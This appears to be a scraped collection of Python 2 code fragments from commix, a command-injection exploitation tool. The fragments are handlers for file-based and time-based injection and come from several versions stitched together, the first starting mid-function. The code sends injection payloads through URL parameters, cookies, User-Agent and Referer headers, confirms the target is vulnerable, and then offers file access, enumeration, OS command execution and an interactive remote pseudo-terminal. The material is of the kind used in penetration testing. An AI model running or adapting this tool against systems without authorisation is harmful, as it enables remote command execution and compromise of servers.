          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
              time.sleep(delay)
              
              try:
                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)
                
                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # if settings.VERBOSITY_LEVEL >= 1:
                  #   print ""
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                  if str(e.getcode()) == settings.NOT_FOUND_ERROR:
                    percent = ((i*100)/total)
                    float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                    if call_tmp_based == True:
                      exit_loops = True
                      tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                      tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                      raise
                      
                    # Show an error message, after N failed tries.
                    # Use the "/tmp/" directory for tempfile-based technique.
                    elif i == settings.FAILED_TRIES and no_result == True :
                      warn_msg = "It seems that you don't have permissions to "
                      warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."  
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      print ""
                      while True:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                        if tmp_upload in settings.CHOICE_YES:
                          exit_loops = True
                          settings.TEMPFILE_BASED_STATE = True
                          call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                          if call_tfb != False:
                            return True
                          else:
                            if no_result == True:
                              return False
                            else:
                              return True
                        elif tmp_upload in settings.CHOICE_NO:
                          break
                        elif tmp_upload in settings.CHOICE_QUIT:
                          print ""
                          raise
                        else:
                          if tmp_upload == "":
                            tmp_upload = "enter"
                          err_msg = "'" + tmp_upload + "' is not a valid answer."  
                          print settings.print_error_msg(err_msg)
                          pass
                      continue
                    
                    else:
                      if exit_loops == False:
                        if not settings.VERBOSITY_LEVEL >= 1:
                          if str(float_percent) == "100.0":
                            if no_result == True:
                              percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                              percent = str(float_percent)+ "%"
                          else:
                            percent = str(float_percent)+ "%"

                          info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                          sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                          sys.stdout.flush()
                          continue
                        else:
                          continue
                      else:
                        raise
                    
                  elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
                    err_msg = "Authorization required!"
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
                    
                  elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
                    err_msg = "You don't have permission to access this page."
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
              
            except KeyboardInterrupt:
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e:
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              print ""
              # Provide custom server's root directory.
              custom_srv_root_dir()
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The"
            if found_vuln_parameter == " ": 
              success_msg += http_request_method + "" 
            success_msg += the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again  = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
              fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              #print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              sys.exit(0)

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                if go_back == True:
                  break
                question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
                if gotshell in settings.CHOICE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again)
                      if go_back:
                        break
                    else:
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise
Esempio n. 37
0
def fb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    counter = 1
    failed_tries = 20
    vp_flag = True
    exit_loops = False
    no_result = True
    is_encoded = False
    stop_injection = False
    call_tmp_based = False
    export_injection_info = False

    injection_type = "Semiblind-based Command Injection"
    technique = "file-based semiblind injection technique"

    # Set temp path
    if menu.options.tmp_path:
        tmp_path = menu.options.tmp_path
    else:
        tmp_path = settings.TMP_PATH

    print "(*) Testing the " + technique + "... "

    if menu.options.file_dest:
        if '/tmp/' in menu.options.file_dest:
            call_tmp_based = True
        SRV_ROOT_DIR = os.path.split(menu.options.file_dest)[0]
    else:
        if menu.options.srv_root_dir:
            SRV_ROOT_DIR = menu.options.srv_root_dir
        else:
            SRV_ROOT_DIR = settings.SRV_ROOT_DIR

    i = 0
    # Calculate all possible combinations
    total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(
        settings.SUFFIXES)

    # Check if defined alter shell
    alter_shell = menu.options.alter_shell

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:
                i = i + 1

                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase) for i in range(6))

                # The output file for file-based injection technique.
                OUTPUT_TEXTFILE = TAG + ".txt"

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                try:
                    # File-based decision payload (check if host is vulnerable).
                    if alter_shell:
                        payload = fb_payloads.decision_alter_shell(
                            separator, TAG, OUTPUT_TEXTFILE)
                    else:
                        payload = fb_payloads.decision(separator, TAG,
                                                       OUTPUT_TEXTFILE)

                    # Check if defined "--prefix" option.
                    # Fix prefixes / suffixes
                    payload = parameters.prefixes(payload, prefix)
                    payload = parameters.suffixes(payload, suffix)

                    # Check if defined "--verbose" option.
                    if menu.options.verbose:
                        print Fore.GREY + "(~) Payload: " + payload.replace(
                            "\n", "\\n") + Style.RESET_ALL

                    # Cookie Injection
                    if settings.COOKIE_INJECTION == True:
                        # Check if target host is vulnerable to cookie injection.
                        vuln_parameter = parameters.specify_cookie_parameter(
                            menu.options.cookie)
                        response = fb_injector.cookie_injection_test(
                            url, vuln_parameter, payload)

                    # User-Agent Injection
                    elif settings.USER_AGENT_INJECTION == True:
                        # Check if target host is vulnerable to user-agent injection.
                        vuln_parameter = parameters.specify_user_agent_parameter(
                            menu.options.agent)
                        response = fb_injector.user_agent_injection_test(
                            url, vuln_parameter, payload)

                    # Referer Injection
                    elif settings.REFERER_INJECTION == True:
                        # Check if target host is vulnerable to referer injection.
                        vuln_parameter = parameters.specify_referer_parameter(
                            menu.options.referer)
                        response = fb_injector.referer_injection_test(
                            url, vuln_parameter, payload)

                    else:
                        # Check if target host is vulnerable.
                        response, vuln_parameter = fb_injector.injection_test(
                            payload, http_request_method, url)

                    # Find the directory.
                    path = url
                    path_parts = path.split('/')
                    count = 0
                    for part in path_parts:
                        count = count + 1
                    count = count - 1
                    last_param = path_parts[count]
                    output = url.replace(last_param, OUTPUT_TEXTFILE)
                    time.sleep(delay)

                    try:
                        # Check if defined extra headers.
                        request = urllib2.Request(output)
                        headers.do_check(request)

                        # Evaluate test results.
                        output = urllib2.urlopen(request)
                        html_data = output.read()
                        shell = re.findall(r"" + TAG + "", html_data)
                        if len(shell) != 0 and not menu.options.verbose:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                            sys.stdout.write("\r(*) Trying to upload the '" +
                                             OUTPUT_TEXTFILE + "' on " +
                                             SRV_ROOT_DIR + "... [ " +
                                             percent + " ]")
                            sys.stdout.flush()

                    except urllib2.HTTPError, e:
                        if e.getcode() == 404:
                            percent = ((i * 100) / total)
                            if call_tmp_based == True:
                                exit_loops = True
                                tmp_path = os.path.split(
                                    menu.options.file_dest)[0] + "/"
                                tfb_controller(no_result, url, delay, filename,
                                               tmp_path, http_request_method,
                                               url_time_response)
                                raise

                            # Show an error message, after 20 failed tries.
                            # Use the "/tmp/" directory for tempfile-based technique.
                            elif i == failed_tries:
                                if not menu.options.verbose:
                                    print ""
                                print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write on " + SRV_ROOT_DIR + "." + Style.RESET_ALL
                                while True:
                                    tmp_upload = raw_input(
                                        "(?) Do you want to try the temporary directory ("
                                        + tmp_path + ") [Y/n] > ").lower()
                                    if tmp_upload in settings.CHOISE_YES:
                                        exit_loops = True
                                        tfb_controller(no_result, url, delay,
                                                       filename, tmp_path,
                                                       http_request_method,
                                                       url_time_response)
                                        if no_result == True:
                                            return False
                                    elif tmp_upload in settings.CHOISE_NO:
                                        break
                                    else:
                                        if tmp_upload == "":
                                            tmp_upload = "enter"
                                        print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                                continue

                            else:
                                if exit_loops == False:
                                    if not menu.options.verbose:
                                        if percent == 100:
                                            if no_result == True:
                                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                            else:
                                                percent = str(percent) + "%"
                                        else:
                                            percent = str(percent) + "%"
                                        sys.stdout.write(
                                            "\r(*) Trying to upload the '" +
                                            OUTPUT_TEXTFILE + "' on " +
                                            SRV_ROOT_DIR + "... [ " + percent +
                                            " ]")
                                        sys.stdout.flush()
                                        continue
                                    else:
                                        continue
                                else:
                                    raise

                        elif e.getcode() == 401:
                            print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
                            sys.exit(0)

                        elif e.getcode() == 403:
                            print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
                            sys.exit(0)

                except KeyboardInterrupt:
                    # Delete previous shell (text) files (output)
                    delete_previous_shell(separator, payload, TAG, prefix,
                                          suffix, http_request_method, url,
                                          vuln_parameter, OUTPUT_TEXTFILE,
                                          alter_shell)
                    raise

                except urllib2.URLError, e:
                    #print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
                    sys.exit(0)

                except:
                    continue
Esempio n. 38
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  percent = 0
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  export_injection_info = False
  how_long = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
  
  percent = str(percent)+"%"
  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
  sys.stdout.flush()

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""
        
        # Define alter shell
        alter_shell = menu.options.alter_shell
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Log previous 'how_long' for later comparison
            previous_how_long = how_long

            if alter_shell:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
            else:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
            
            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""

            else:
              if how_long == previous_how_long + delay:
                # Time relative false positive fixation.
                if len(TAG) == output_length:
                  tmp_how_long = how_long
                  randv1 = random.randrange(0, 1)
                  randv2 = random.randrange(1, 2)
                  randvcalc = randv1 + randv2
                  cmd = "(" + str(randv1) + "+" + str(randv2) + ")"

                  # Check for false positive resutls
                  how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long)
                  
                  if str(tmp_how_long) == str(how_long) and \
                     str(output) == str(randvcalc) and \
                     len(TAG) == output_length:

                    is_vulnerable = True
                    if not menu.options.verbose:
                      percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                    else:
                      percent = ""
                  else:
                    break
                # False positive
                else:
                  continue
              else:
                percent = str(float_percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()

          except KeyboardInterrupt: 
            raise

          except SystemExit:
            raise

          except:
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if how_long == previous_how_long + delay:
            if (len(TAG) == output_length) and (is_vulnerable == True):
              found = True
              no_result = False
              is_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"
                
              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True:
                while True:
                  enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
                  if enumerate_again in settings.CHOISE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif enumerate_again in settings.CHOISE_NO: 
                    break
                  elif enumerate_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if enumerate_again == "":
                      enumerate_again = "enter"
                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True:
                while True:
                  file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
                  if file_access_again in settings.CHOISE_YES:
                    tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif file_access_again in settings.CHOISE_NO: 
                    break
                  elif file_access_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if file_access_again == "":
                      file_access_again = "enter"
                    print Back.RED + "(x) Error: '" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                # Exploirt injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                sys.exit(0)

              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break
                gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  while True:
                    try:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                        if os_shell_option == False:
                          if no_result == True:
                            return False
                          else:
                            return True
                        elif os_shell_option == "quit":                    
                          sys.exit(0)
                        elif os_shell_option == "back":
                          go_back = True
                          break
                        elif os_shell_option == "os_shell": 
                            print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
